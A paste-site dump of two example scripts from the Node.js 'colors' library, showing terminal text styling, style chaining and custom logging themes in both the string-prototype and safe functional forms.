- console.log('Use random styles on everything!'.random);
- console.log('America, Heck Yeah!'.america);
- console.log('Setting themes is useful');
- //
- // Custom themes
- //
- console.log('Generic logging theme as JSON'.green.bold.underline);
- // Load theme with JSON literal
- colors.setTheme({
- silly: 'rainbow',
- input: 'grey',
- verbose: 'cyan',
- prompt: 'grey',
- info: 'green',
- data: 'grey',
- help: 'cyan',
- warn: 'yellow',
- debug: 'blue',
- error: 'red',
- });
- // outputs red text
- console.log('this is an error'.error);
- // outputs yellow text
- console.log('this is a warning'.warn);
- // outputs grey text
- console.log('this is an input'.input);
- console.log('Generic logging theme as file'.green.bold.underline);
- // Load a theme from file
- try {
- colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
- } catch (err) {
- console.log(err);
- }
- // outputs red text
- console.log('this is an error'.error);
- // outputs yellow text
- console.log('this is a warning'.warn);
- // outputs grey text
- console.log('this is an input'.input);
- // console.log("Don't summon".zalgo)
- {"mode":33188,"size":1862,"isFileValue":true,"isDirectoryValue":false}var colors = require('../safe');
- console.log(colors.yellow('First some yellow text'));
- console.log(colors.yellow.underline('Underline that text'));
- console.log(colors.red.bold('Make it bold and red'));
- console.log(colors.rainbow('Double Raindows All Day Long'));
- console.log(colors.trap('Drop the bass'));
- console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));
- // styles not widely supported
- console.log(colors.bold.italic.underline.red('Chains are also cool.'));
- // styles not widely supported
- console.log(colors.green('So ') + colors.underline('are') + ' '
- + colors.inverse('inverse') + colors.yellow.bold(' styles! '));
- console.log(colors.zebra('Zebras are so fun!'));
- console.log('This is ' + colors.strikethrough('not') + ' fun.');
- console.log(colors.black.bgWhite('Background color attack!'));
- console.log(colors.random('Use random styles on everything!'));
- console.log(colors.america('America, Heck Yeah!'));
- console.log('Setting themes is useful');
- //
- // Custom themes
- //
- // console.log('Generic logging theme as JSON'.green.bold.underline);
- // Load theme with JSON literal
- colors.setTheme({
- silly: 'rainbow',
- input: 'blue',
- verbose: 'cyan',
- prompt: 'grey',
- info: 'green',
- data: 'grey',
- help: 'cyan',
- warn: 'yellow',
- debug: 'blue',
- error: 'red',
- });
- // outputs red text
- console.log(colors.error('this is an error'));
- // outputs yellow text
- console.log(colors.warn('this is a warning'));
- // outputs blue text
- console.log(colors.input('this is an input'));
- // console.log('Generic logging theme as file'.green.bold.underline);
- // Load a theme from file
- colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
- // outputs red text
- console.log(colors.error('this is an error'));
- // outputs yellow text
- console.log(colors.warn('this is a warning'));
- // outputs grey text
- console.log(colors.input('this is an input'));
- // console.log(colors.zalgo("Don't summon him"))
- {"mode":33188,"size":1944,"isFileValue":true,"isDirectoryValue":false}
Add Comment
Please, Sign In to add comment